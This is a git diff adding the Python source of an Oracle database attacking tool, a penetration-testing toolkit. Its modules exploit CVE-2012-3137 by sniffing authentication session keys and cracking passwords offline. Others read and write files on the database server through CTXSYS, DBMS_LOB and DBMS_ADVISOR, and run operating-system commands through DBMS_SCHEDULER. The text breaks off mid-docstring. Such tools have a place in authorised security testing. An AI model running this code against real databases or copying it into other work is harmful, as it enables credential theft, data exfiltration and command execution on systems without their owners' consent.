diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..77ef21a --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +# Created by http://www.gitignore.io + +### vim ### +[._]*.s[a-w][a-z] +[._]s[a-w][a-z] +*.un~ +Session.vim +.netrwhist +*~ +*.rpm diff --git a/CVE_2012_3137.py b/CVE_2012_3137.py new file mode 100644 index 0000000..7b34ea7 --- /dev/null +++ b/CVE_2012_3137.py @@ -0,0 +1,298 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging, string, re, sys +from Utils import execSystemCmd, checkOptionsGivenByTheUser, anAccountIsGiven +from OracleDatabase import OracleDatabase +from time import sleep +import hashlib +from Crypto.Cipher import AES +from threading import Thread +from progressbar import * +from os import geteuid +from Constants import * + +#Load scapy without warnings +tempout = sys.stdout; temperr = sys.stderr +sys.stdout = open('/dev/null', 'w'); sys.stderr = open('/dev/null', 'w') +try: + from scapy.layers.inet import IP + from scapy import all as scapyall #sniff, IP, Raw + SCAPY_AVAILABLE = True +except ImportError: + SCAPY_AVAILABLE = False +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +sys.stdout = tempout; sys.stderr = temperr +if SCAPY_AVAILABLE == False : + logging.warning('You need to install python scapy if you want to use the CVE_2012_3137 module !') + +class CVE_2012_3137 (): + ''' + CVE-2012-3137 : to get remote passwords thanks to nmap + ''' + + sessionKey, salt = "", "" + + def __init__(self, args, accountsFile=None, timeSleep=0): + ''' + Constructor + ''' + logging.debug("CVE_2012_3137 object created") + self.MAX_PACKET_TO_CAPTURE=200 + self.TIMEOUT=5 + self.args=args + self.accountsFile = accountsFile + self.timeSleep = timeSleep + self.usernames = [] + if self.accountsFile != None : self.loadUsernames() + self.keys = [] + self.passwdFound = [] + self.separator = "|<->|" + + def __resetSessionKeyValueAndSalt__(self): + ''' + ''' + global sessionKey, salt + sessionKey, salt = "", "" + logging.debug('Session key and salt are now emply') + + def getKeys(self): + ''' + return keys + ''' + return self.keys + + def loadUsernames (self,separator = '/'): + ''' + load usernames from self.accountsFile + ''' + logging.info ("Loading usernames stored in {0}".format(self.accountsFile)) + f = open(self.accountsFile) + for l in f: + nl = l.replace('\n','').replace('\t','').split('/') + self.usernames.append(nl[0]) + f.close() + + def __sniff_sessionkey_and_salt__(self,ip=None,port=None): + ''' + To sniff the session key and the salt in an Oracle connection thanks to scapy + ''' + def customAction(packet): + global sessionKey, salt + if packet[0].haslayer(IP)==True and packet[1].src == ip : + #print packet.show() + if packet[2].haslayer(scapyall.Raw)==True: + raw = repr(packet[2].getlayer(scapyall.Raw).load) + if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw: + sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")]) + if sessionKey != [] : + sessionKey = sessionKey[0] + logging.info ("We have captured the session key: {0}".format(sessionKey)) + try : authVFRindex = raw.index("AUTH_VFR_DATA") + except : logging.warning("The following string doesn't contain AUTH_VFR_DATA: {0}".format(raw)) + else: + try: authGloIndex = raw.index("AUTH_GLOBALLY_UNIQUE_DBID") + except : logging.warning("The following string doesn't contain AUTH_GLOBALLY_UNIQUE_DBID: {0}".format(raw)) + else: + salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[authVFRindex:authGloIndex]) + if salt != [] : + salt = salt[0][2:] + logging.info ("We have captured the salt: {0}".format(salt)) + finally: + return True + return False + self.__resetSessionKeyValueAndSalt__() + #print "Run with tcp and host {0} and port {1}".format(ip,port) + scapyall.sniff(filter="tcp and host {0} and port {1}".format(ip,port), count=self.MAX_PACKET_TO_CAPTURE, timeout=self.TIMEOUT, stop_filter=customAction,store=False) + return sessionKey, salt + + def __try_to_connect__(self, args): + ''' + Establish a connection to the database + ''' + import cx_Oracle + try: + connectString = "{0}/{1}@{2}:{3}/{4}".format(self.args['user'], 'aaaaaaa', self.args['server'], self.args['port'], self.args['sid']) + logging.debug("Connecting with {0}".format(connectString)) + cx_Oracle.connect(connectString) + except Exception, e: + pass + + def getAPassword(self,user): + ''' + ''' + logging.debug("Sniffing is running in a new thread") + a = Thread(None, self.__sniff_sessionkey_and_salt__, None, (), {'ip':self.args['server'],'port':self.args['port']}) + a.start() + logging.debug("Waiting 3 seconds") + sleep(3) + logging.debug("Connection to the database via a new thread with the username {0}".format(self.args['user'])) + b = Thread(None, self.__try_to_connect__, None, (), {'args':self.args}) + b.start() + b.join() + a.join() + return "","" + + + def getPasswords(self): + ''' + get passwords + ''' + logging.info ("Getting remote passwords of {0} users".format(len(self.usernames))) + pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=len(self.usernames)).start(), 0 + for user in self.usernames: + logging.info("Try to get the session key and salt of the {0} user".format(user)) + self.getAPassword(user) + nb += 1 + pbar.update(nb) + if sessionKey != '' and salt != '': + key = "{0}{3}{1}{3}{2}".format(user,sessionKey, salt,self.separator) + self.keys.append(key) + logging.debug("Key found: {0}".format(key)) + sleep(self.timeSleep) + pbar.finish() + + def __decryptKey__(self, session, salt, password): + ''' + ''' + pass_hash = hashlib.sha1(password+salt) + key = pass_hash.digest() + '\x00\x00\x00\x00' + decryptor = AES.new(key,AES.MODE_CBC,'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') + plain = decryptor.decrypt(session) + return plain + + def decryptKeys(self, sessionFile, passwdFile): + ''' + decrypt keyx + ''' + #Nb sessions + fsession, nbsession = open(sessionFile), 0 + for l in fsession: nbsession+=1 + fsession.close() + logging.info("{0} sessions in the {1} file".format(nbsession,sessionFile)) + #Nb Passwds + fpasswds, nbpasswds = open(passwdFile), 0 + for l in fpasswds: nbpasswds+=1 + fpasswds.close() + logging.info("{0} passwords in the {1} file".format(nbpasswds,passwdFile)) + if nbpasswds == 0 : + logging.critical("No password in the {0} file".format(passwdFile)) + return [] + elif nbsession == 0: + logging.critical("No session in the {0} file".format(sessionFile)) + return [] + else : + fsession = open(sessionFile) + for session in fsession: + user, session_hex, salt_hex = session.replace('\n','').replace('\t','').split(self.separator) + self.args['print'].subtitle("Searching the password of the {0} user".format(user)) + fpasswd = open(passwdFile) + pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=nbpasswds).start(), 0 + for password in fpasswd: + nb +=1 + pbar.update(nb) + password = password.replace('\n','').replace('\t','') + session_id = self.__decryptKey__(session_hex.decode('hex'),salt_hex.decode('hex'),password) + if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': + self.passwdFound.append([user,password]) + self.args['print'].goodNews("{0} password:{1}".format(user,password)) + fpasswd.close() + break + fpasswd.close() + pbar.finish() + fsession.close() + return self.passwdFound + + def isVulnerable (self, user, password): + ''' + Capture the challenge with the login and tries to recover the password with password + Return True if the remote database is vulnerable + Return False if not vulnerable. + Return an error if an error. + ''' + global sessionKey, salt + logging.info("Try to know if the database server is vulnerable to the CVE-2012-3137") + sessionKey, salt = "", "" + self.getAPassword(user) + logging.info("The challenge captured for the user {0}: key='{1}', salt='{2}'".format(user, sessionKey, salt)) + if sessionKey != '' and salt != '' and sessionKey != [] and salt != []: + session_id = self.__decryptKey__(sessionKey.decode('hex'),salt.decode('hex'),password) + if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': + logging.info ("The database is vulnerable! Indeed, the result is good when you use the password '{0}' to decrypt the key '{1}' of the user {2} with the salt '{3}'".format(password, sessionKey, user, salt)) + return True + else: + logging.info ("The password {0} is not used in the challenge of the user {1}. Consequently, not vulnerable".format(password, user)) + return False + else: + logging.info ("The challenge captured is empty") + return False + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Vulnerable to the CVE-2012-3137 ?") + #self.args['print'].unknownNews("I can't know if it is vulnerable") + if self.args.has_key('user') == False or self.args.has_key('password') == False or self.args['user'] == None or self.args['password'] == None : + self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137.\nYou need to give VALID credentials on the database (-U and -P). Otherwise, the tool can't know if the database is vulnerable...") + else: + if 1==1: + if geteuid() != 0: + self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database") + else: + vulneable = self.isVulnerable (self.args['user'], self.args['password']) + if vulneable == True: + self.args['print'].goodNews("OK") + elif vulneable == False: + self.args['print'].badNews("KO") + else: + self.args['print'].badNews("There is an error {0}".format(vulnerable)) + ''' + if geteuid() != 0: + args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database") + else: + args['print'].info("Getting remote passwords on the {0} server, port {1}".format(self.args['server'],self.args['port'])) + ''' + +def runCVE20123137Module(args): + ''' + Run the CVE_2012_3137 module + ''' + if checkOptionsGivenByTheUser(args,["test-module","get-all-passwords","decrypt-sessions"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT + cve = CVE_2012_3137 (args, accountsFile=args['user-list'], timeSleep=args['timeSleep']) + if args['test-module'] == True : + cve.testAll() + #Option 1: get all passwords + if args['get-all-passwords'] != None: + print + if geteuid() != 0: + args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database") + else: + args['print'].title("Getting remote passwords on the {0} server, port {1}".format(args['server'],args['port'])) + cve.getPasswords() + keys = cve.getKeys() + if keys != []: + args['print'].goodNews("Here are keys:\n\n{0}".format('\n'.join(keys))) + filename = "sessions-{0}-{1}-{2}{3}".format(args['server'],args['port'],args['sid'],CHALLENGE_EXT_FILE) + f = open(filename,"w") + f.write('\n'.join(keys)) + f.close() + args['print'].goodNews("Sessions strored in the {0} file.".format(filename)) + else : + args['print'].badNews("Impossible to exploit this vulnreability") + #Option 2: decrypt sessions + if args['decrypt-sessions'] != None: + args['print'].title("Decrypt sessions stored in {0} via {1}".format(args['decrypt-sessions'][0],args['decrypt-sessions'][1])) + passwds = cve.decryptKeys(args['decrypt-sessions'][0], args['decrypt-sessions'][1]) + if passwds != []: + passwordsStr = "" + for e in passwds : + passwordsStr +='{0}:{1}\n'.format(e[0],e[1]) + args['print'].goodNews("Accounts found:\n{0}".format(passwordsStr)) + else: + args['print'].badNews("No password has been found") + + + + + diff --git a/Constants.py b/Constants.py new file mode 100644 index 0000000..9f7d118 --- /dev/null +++ b/Constants.py @@ -0,0 +1,52 @@ +# -*- coding: utf-8 -* +import string + +DESCRIPTION = ""\ +""" + _ __ _ ___ + / \| \ / \|_ _| + ( o ) o ) o || | + \_/|__/|_n_||_| +------------------------------------------- + _ __ _ ___ + / \ | \ / \ |_ _| +( o ) o ) o | | | + \_/racle |__/atabase |_n_|ttacking |_|ool +------------------------------------------- + +By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) +""" +CURRENT_VERSION = "Version 1.6 - 2015/07/14" +DEFAULT_SID_MIN_SIZE = 1 +DEFAULT_SID_MAX_SIZE = 2 +MAX_HELP_POSITION=60 +DEFAULT_SID_FILE = "sids.txt" +DEFAULT_ACCOUNT_FILE = "accounts/accounts.txt" +DEFAULT_TIME_SLEEP = 0 +DEFAULT_SID_CHARSET = string.ascii_uppercase +EXIT_NO_SIDS = 100 +EXIT_NO_ACCOUNTS = 101 +EXIT_BAD_CONNECTION = 102 +EXIT_BAD_CMD_PARAMETER = 103 +EXIT_MISS_ARGUMENT = 104 +EXIT_MISS_MODULE = 105 +ALL_IS_OK=0 +TIMEOUT_VALUE = 5 +PASSWORD_EXTENSION_FILE = ".odat.save" +CHALLENGE_EXT_FILE = ".odat.challenge" +SHOW_SQL_REQUESTS_IN_VERBOSE_MODE = False +MAX_WIDTH_TEXTTABLES = 120 +DEFAULT_ENCODING = 'utf8' +#SEARCH module +PATTERNS_COLUMNS_WITH_PWDS = [ + '%mdp%', + '%pwd%', + '%pass%', + "%contraseña%", + "%clave%", + "%chiave%", + "%пароль%", + "%wachtwoord%", + "%hasło%", + "%senha%", + ] diff --git a/Ctxsys.py b/Ctxsys.py new file mode 100644 index 0000000..e41e81c --- /dev/null +++ b/Ctxsys.py @@ -0,0 +1,174 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging,cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class Ctxsys (OracleDatabase): + ''' + Allow to use CTXSYS remotly + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Ctxsys object created") + OracleDatabase.__init__(self,args) + self.tableName = self.__generateRandomString__() + self.indexName = self.__generateRandomString__() + + def __giveTheCxsysPriv__(self, user): + ''' + Give the CTXSYS priv to the user with, for exemple: + exec ctxsys.ctx_adm.set_parameter('file_access_role', 'public') + ''' + logging.info('Try to give the file_access_role privilege to the current user') + parameters = {'param_name':'file_access_role','param_value':user} + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc(name="ctxsys.ctx_adm.set_parameter",keywordParameters=parameters) + except Exception,e: + logging.info('Error with ctxsys.ctx_adm.set_parameter{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + return True + + def __createTable__(self): + ''' + Create table name with, for exemple: + CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); + ''' + logging.info('Create the table: {0}'.format(self.tableName)) + query = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))".format(self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __dropTable__(self): + ''' + Drop the table with, for exemple + DROP TABLE my_table PURGE; + ''' + logging.info('Drop the table: {0}'.format(self.tableName)) + query = "DROP TABLE {0} PURGE".format(self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __insertFileInTable__(self,fn): + ''' + Insert into the table the file path with, for exemple: + INSERT INTO rf1 VALUES (1, 'c:\temp.txt', NULL); + ''' + logging.info('Insert the following file path in the {0} table: {1}'.format(self.tableName,fn)) + query = "INSERT INTO {0} VALUES (1, '{1}', NULL)".format(self.tableName,fn) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __createIndexToFile__(self): + ''' + Create an index to the file + CREATE INDEX fi1 ON rf1(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format'); + ''' + logging.info('Create an index named {0} to the file'.format(self.indexName)) + query = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')".format(self.indexName,self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __dropIndexToFile__(self): + ''' + Drop index to the file + DROP INDEX myindex; + ''' + logging.info('Drop the index named {0}'.format(self.indexName)) + query = "DROP INDEX {0}".format(self.indexName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __getDataFromIndex__(self): + ''' + Get data stored in file from the index + ''' + logging.info('Get data stored in the file from the {0} index'.format(self.indexName)) + query = "Select token_text from dr${0}$i".format(self.indexName) + response = self.__execQuery__(query=query,ld=['token_text']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : + if response == []: return '' + else: + data = '' + for e in response : data += str(e['token_text']) + '\n' + return data + + def readAFile (self,nameFile): + ''' + read a file on the remote server + ''' + logging.info('Read the {0} file'.format(nameFile)) + status = self.__giveTheCxsysPriv__('public') + status = self.__createTable__() + if isinstance(status,Exception) : return status + status = self.__insertFileInTable__(nameFile) + if isinstance(status,Exception) : return status + status = self.__createIndexToFile__() + if isinstance(status,Exception) : return status + data = self.__getDataFromIndex__() + if data == '' : logging.info("The file is empty or it doesn't exist") + self.__dropIndexToFile__() + self.__dropTable__() + return data + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("CTXSYS library ?") + logging.info("Try to read a random file with CTXSYS library") + nameFile = self.__generateRandomString__() + response = self.readAFile(nameFile) + if response == '': + self.args['print'].goodNews("OK") + return True + else : + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + +def runCtxsysModule(args): + ''' + Run the CTXSYS module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT + ctxsys = Ctxsys(args) + status = ctxsys.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSScheduler library can be used") + status = ctxsys.testAll() + #Option 1: read file + if args['getFile'] !=None : + args['print'].title("Read the {0} file on the {1} server".format(args['getFile'],args['server'])) + data = ctxsys.readAFile(args['getFile']) + if isinstance(data,Exception): + args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data)) + else : + if data == '' : args['print'].goodNews("The {0} file is empty or it doesn't exist".format(args['getFile'])) + else : args['print'].goodNews("Data stored in the {0} file (escape char replace by '\\n'):\n{1}".format(args['getFile'],data)) + + diff --git a/DbmsAdvisor.py b/DbmsAdvisor.py new file mode 100644 index 0000000..e57dc9c --- /dev/null +++ b/DbmsAdvisor.py @@ -0,0 +1,75 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class DbmsAdvisor (DirectoryManagement): + ''' + Allow the user to write file on the remote database system with DBMS_ADVISOR + Becareful: External job actions cannot contain redirection operators + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmsAdvisor object created") + DirectoryManagement.__init__(self,args) + + def putFile (self, remotePath, remoteNameFile, data=None, localFile=None): + ''' + Put a file on the remote database server + ''' + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.critical("To put a file, choose between a localFile or data") + if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) + else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + if localFile != None : + data = self.__loadFile__(localFile) + response = self.__execProc__("dbms_advisor.create_file",options=(data, self.directoryName, remoteNameFile)) + if isinstance(response,Exception): + logging.info("Impossible to create a file with dbms_advisor: {0}".format(self.cleanError(response))) + return response + return True + + def testAll (self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("DBMSADVISOR library ?") + logging.info("Simulate the file creation in the {0} folder with DBMSAdvisor".format(folder)) + logging.info('The file is not created remotly because the folder should not exist') + status = self.putFile(folder,'temp.txt',data='data in file') + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runDbmsadvisorModule(args): + ''' + Run the DBMSAdvisor module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","putFile"]) == False : return EXIT_MISS_ARGUMENT + dbmsAdvisor = DbmsAdvisor(args) + status = dbmsAdvisor.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSAdvisor library can be used") + status = dbmsAdvisor.testAll() + #Option 1: putLocalFile + if args['putFile'] != None: + args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) + status = dbmsAdvisor.putFile(args['putFile'][0], args['putFile'][1],localFile=args['putFile'][2]) + if status == True: + args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1])) + else : + args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status))) + dbmsAdvisor.close() + + diff --git a/DbmsLob.py b/DbmsLob.py new file mode 100644 index 0000000..7448640 --- /dev/null +++ b/DbmsLob.py @@ -0,0 +1,176 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging,cx_Oracle +#from OracleDatabase import OracleDatabase +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class DbmsLob (DirectoryManagement): + ''' + Allow the user to read file thanks to DBMS_LOB + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmsLob object created") + DirectoryManagement.__init__(self,args) + self.__setDirectoryName__() + + def getFile (self,remotePath, remoteNameFile, localFile): + ''' + Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) + ''' + data = "" + logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) + #Get data of the remote file + DBMS_LOB_GET_FILE =""" + DECLARE + bu RAW(32766); + -- Separator Character between words is a BLANK + l_seb CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(32)); + -- Character at the end of the file is NEWLINE + l_sen CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(10)); + -- Pointer to the BFILE + l_loc BFILE; + -- Current position in the file (file begins at position 1) + l_pos NUMBER := 1; + -- Amount of characters have been read + l_sum BINARY_INTEGER := 0; + -- Read Buffer + l_buf VARCHAR2(10000); + -- End of the current word which will be read + l_end NUMBER; + -- Return value + l_ret BOOLEAN := FALSE; + BEGIN + l_loc := BFILENAME('{0}','{1}'); + DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY); + LOOP + -- Calculate the end of the current word + l_end := DBMS_LOB.INSTR(l_loc,l_seb,l_pos,1); + -- Process end-of-file + IF (l_end = 0) THEN + l_end := DBMS_LOB.INSTR(l_loc,l_sen,l_pos,1); + l_sum := l_end - l_pos ; + DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); + dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); + EXIT; + END IF; + -- Read until end-of-file + l_sum := l_end - l_pos; + DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); + dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); + l_pos := l_pos + l_sum + 1; + END LOOP; + DBMS_LOB.CLOSE(l_loc); + END; + """ + isFileExist= self.getFileExist (remotePath, remoteNameFile) + if isFileExist == True : + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + cursor = cx_Oracle.Cursor(self.args['dbcon']) + cursor.callproc("dbms_output.enable") + try: + cursor.execute(DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_GET_FILE, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: break + line = lineVar.getvalue() + if line == None : line = '' + data += line + logging.info(line) + cursor.close() + elif isFileExist == False : data = False + else : data = isFileExist + self.__dropDirectory__() + return data + + def getFileExist (self, remotePath, remoteNameFile): + ''' + Return true if file exists + ''' + exist, returnedValue = False, False + logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + DBMS_LOB_FILE_EXISTS = "DECLARE l_loc BFILE; l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); l_ret := DBMS_LOB.FILEEXISTS(l_loc) = 1; IF (l_ret) THEN dbms_output.put_line('True'); ELSE dbms_output.put_line('False'); END IF;END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(DBMS_LOB_FILE_EXISTS.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_FILE_EXISTS, self.cleanError(e))) + returnedValue = ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: returnedValue = False + line = lineVar.getvalue() + if line == None : + line = '' + if "True" in line : + logging.debug("The file exist: good news") + returnedValue = True + elif "False" in line : + logging.debug("The file doesn't exist") + returnedValue = False + else : + logging.warning("Can't know if the file exist. There is an error: {0}".format(line)) + returnedValue = ErrorSQLRequest(line) + cursor.close() + except Exception, e: + returnedValue = ErrorSQLRequest(e) + self.__dropDirectory__() + return returnedValue + + def testAll(self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("DBMS_LOB to read files ?") + logging.info("Simulate the file reading in the {0} folder thanks to DBMS_LOB".format(folder)) + status = self.getFile (remotePath=folder, remoteNameFile='data.txt', localFile="test.txt") + if status == True or status == False: + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runDbmsLob (args): + ''' + Run the DbmsLob module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT + dbmsLob = DbmsLob(args) + status = dbmsLob.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DbmsLob module can be used") + status = dbmsLob.testAll() + #Option 1: getFile + if args['getFile'] != None: + args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0])) + data = dbmsLob.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2]) + if isinstance(data,Exception): + args['print'].badNews("There is an error: {0}".format(data)) + elif data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0])) + elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile'])) + else : + args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) + + + diff --git a/DbmsScheduler.py b/DbmsScheduler.py new file mode 100644 index 0000000..a80a624 --- /dev/null +++ b/DbmsScheduler.py @@ -0,0 +1,184 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, cx_Oracle, subprocess +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * +from time import sleep +from threading import Thread + +class DbmsScheduler (OracleDatabase): + ''' + Allow the user to execute a command on the remote database system with DBMS_SCHEDULER + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmSscheduler object created") + OracleDatabase.__init__(self,args) + self.jobName = None + + def __createJob__(self,cmd): + ''' + Create a job for DBMS_SCHEDULER + Be Careful: Special chars are not allowed in the command line + ''' + logging.info('Create a job named {0}'.format(self.jobName)) + splitCmd = cmd.split() + parameters = {'job_name':self.jobName,'job_type':'EXECUTABLE','job_action':splitCmd[0],'number_of_arguments':len(splitCmd)-1,'auto_drop':False} + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc(name="DBMS_SCHEDULER.create_job",keywordParameters=parameters) + except Exception,e: + logging.info('Error with DBMS_SCHEDULER.create_job:{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + else : + for pos,anArg in enumerate(splitCmd): + if pos!=0: + parameters = {'job_name':self.jobName,'argument_position':pos,'argument_value':anArg} + try : + cursor.callproc(name="DBMS_SCHEDULER.set_job_argument_value",keywordParameters=parameters) + except Exception,e: + logging.info('Error with DBMS_SCHEDULER.set_job_argument_value:{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + return True + + def __runJob__(self): + ''' + run the job named self.jobName + ''' + logging.info('Run the job') + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc(name="DBMS_SCHEDULER.enable",keywordParameters={'name':self.jobName}) + except Exception,e: + logging.info('DBMS_SCHEDULER.enable:{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + return True + + def __getJobStatus__(self): + ''' + Get the job status from user_scheduler_job_log table + return Exception if error + return False : the job is not created or job is running + return Exception: there is an exception + return string if NOT SUCCESS + return True if SUCCESS + ''' + sleep(3) + query = "SELECT status, additional_info FROM USER_SCHEDULER_JOB_RUN_DETAILS WHERE job_name = '{0}'".format(self.jobName) + response = self. __execThisQuery__(query=query,ld=['status','additional_info']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return ErrorSQLRequest(response) + if response == [] : + self.args['print'].goodNews("The Job is running") + return False + elif response[0]['status'] == "FAILED" : + self.args['print'].badNews("The Job has failed: {0}".format(response[0]['additional_info'])) + str(response[0]['additional_info']) + return False + else : + self.args['print'].goodNews("The Job is finish") + return True + + def execOSCommand(self,cmd): + ''' + Execute an OS command on the remote database system + Example: + exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1226',job_type=>'EXECUTABLE',number_of_arguments=>3,job_action =>'/bin/ping',auto_drop=>FALSE); + exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',1,'-c'); + exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',2,'2'); + exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',3,'192.168.56.1'); + exec DBMS_SCHEDULER.ENABLE('J1226'); + select log_id, log_date, job_name, status, error#, 